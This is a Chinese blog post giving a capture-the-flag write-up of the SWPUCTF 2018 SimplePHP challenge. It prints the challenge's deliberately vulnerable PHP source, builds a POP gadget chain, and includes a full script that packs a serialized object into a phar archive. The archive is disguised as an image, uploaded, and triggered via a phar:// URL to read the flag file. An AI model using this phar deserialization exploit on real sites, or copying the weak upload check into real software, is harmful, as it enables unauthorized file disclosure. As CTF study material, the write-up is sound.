刷题笔记:[SWPUCTF 2018]SimplePHP


前言

关键词:[phar|pop|上传]

题解

F12有惊喜

file.php?file=可以看到各个php界面源码

文件源码

  • file.php

    <?php
    header("content-type:text/html;charset=utf-8");
    include 'function.php';
    include 'class.php';
    ini_set('open_basedir','/var/www/html/');
    $file = $_GET["file"] ? $_GET['file'] : "";
    if(empty($file)) {
        echo "<h2>There is no file to show!<h2/>";
    }
    $show = new Show();
    if(file_exists($file)) {
        $show->source = $file;
        $show->_show();
    } else if (!empty($file)){
        die('file doesn\'t exists.');
    }
    ?>
  • function.php

    222.90.67.205
    <?php
    //show_source(__FILE__);
    include "base.php";
    header("Content-type: text/html;charset=utf-8");
    error_reporting(0);
    function upload_file_do() {
        global $_FILES;
        $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
        //mkdir("upload",0777);
        if(file_exists("upload/" . $filename)) {
            unlink($filename);
        }
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
        echo '<script type="text/javascript">alert("上传成功!");</script>';
    }
    function upload_file() {
        global $_FILES;
        if(upload_file_check()) {
            upload_file_do();
        }
    }
    function upload_file_check() {
        global $_FILES;
        $allowed_types = array("gif","jpeg","jpg","png");
        $temp = explode(".",$_FILES["file"]["name"]);
        $extension = end($temp);
        if(empty($extension)) {
            //echo "<h4>请选择上传的文件:" . "<h4/>";
        }
        else{
            if(in_array($extension,$allowed_types)) {
                return true;
            }
            else {
                echo '<script type="text/javascript">alert("Invalid file!");</script>';
                return false;
            }
        }
    }
    ?>
  • class.php

    <?php
    class C1e4r
    {
        public $test;
        public $str;
        public function __construct($name)
        {
            $this->str = $name;
        }
        public function __destruct()
        {
            $this->test = $this->str;
            echo $this->test;
        }
    }
    
    class Show
    {
        public $source;
        public $str;
        public function __construct($file)
        {
            $this->source = $file;   //$this->source = phar://phar.jpg
            echo $this->source;
        }
        public function __toString()
        {
            $content = $this->str['str']->source;
            return $content;
        }
        public function __set($key,$value)
        {
            $this->$key = $value;
        }
        public function _show()
        {
            if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
                die('hacker!');
            } else {
                highlight_file($this->source);
            }
    
        }
        public function __wakeup()
        {
            if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
                echo "hacker~";
                $this->source = "index.php";
            }
        }
    }
    class Test
    {
        public $file;
        public $params;
        public function __construct()
        {
            $this->params = array();
        }
        public function __get($key)
        {
            return $this->get($key);
        }
        public function get($key)
        {
            if(isset($this->params[$key])) {
                $value = $this->params[$key];
            } else {
                $value = "index.php";
            }
            return $this->file_get($value);
        }
        public function file_get($value)
        {
            $text = base64_encode(file_get_contents($value));
            return $text;
        }
    }
    ?>
  • base.php

    <?php
        session_start();
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>web3</title>
        <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
        <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
        <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
    </head>
    <body>
        <nav class="navbar navbar-default" role="navigation">
            <div class="container-fluid">
            <div class="navbar-header">
                <a class="navbar-brand" href="index.php">首页</a>
            </div>
                <ul class="nav navbar-nav navbra-toggle">
                    <li class="active"><a href="file.php?file=">查看文件</a></li>
                    <li><a href="upload_file.php">上传文件</a></li>
                </ul>
                <ul class="nav navbar-nav navbar-right">
                    <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
                </ul>
            </div>
        </nav>
    </body>
    </html>
    <!--flag is in f1ag.php-->

代码审计

然后就是枯燥的代码审计了。

file.php?file=function.php看看文件上传的逻辑

对于后缀名进行了限制:

将文件名+IP地址用MD5加密再加上jpg,移动到upload目录下:

file.php?file=class.php

检测相关字样:

似乎是提示:

没有unserialize()调用,又有序列化函数,还有文件上传,可猜是phar题。

所以接下来得找pop链。

构造pop链

pop链构造逻辑:

Test::file_get() <- Test::get() <- Test::__get() <- Show::__toString() <- C1e4r::__destruct()

payload如下,记得设置php.ini中phar.readonly = Off,否则会报错。

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test; //可触发__toString()
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source; //可触发__get()
        return $content;
    }
    public function __set($key, $value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i', $this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup()
    {
        if (preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if (isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

$b = new Show(1);
$b->str['str'] = new Test();
$b->str['str']->params['source'] = '/var/www/html/f1ag.php';
$a = new C1e4r($b);

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

将生成的phar.phar改成图片后缀:phar.gif,上传

先根据之前所说的文件名字生成规则找到名字,后面要加个.jpg.

521e5ec0fb0fcaa79e19216b5f5342b9.jpg

貌似文件目录直接就开着的,/upload/可以直接浏览

最后提交payload:

file.php?file=phar://upload/521e5ec0fb0fcaa79e19216b5f5342b9.jpg

解密一下,结束。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录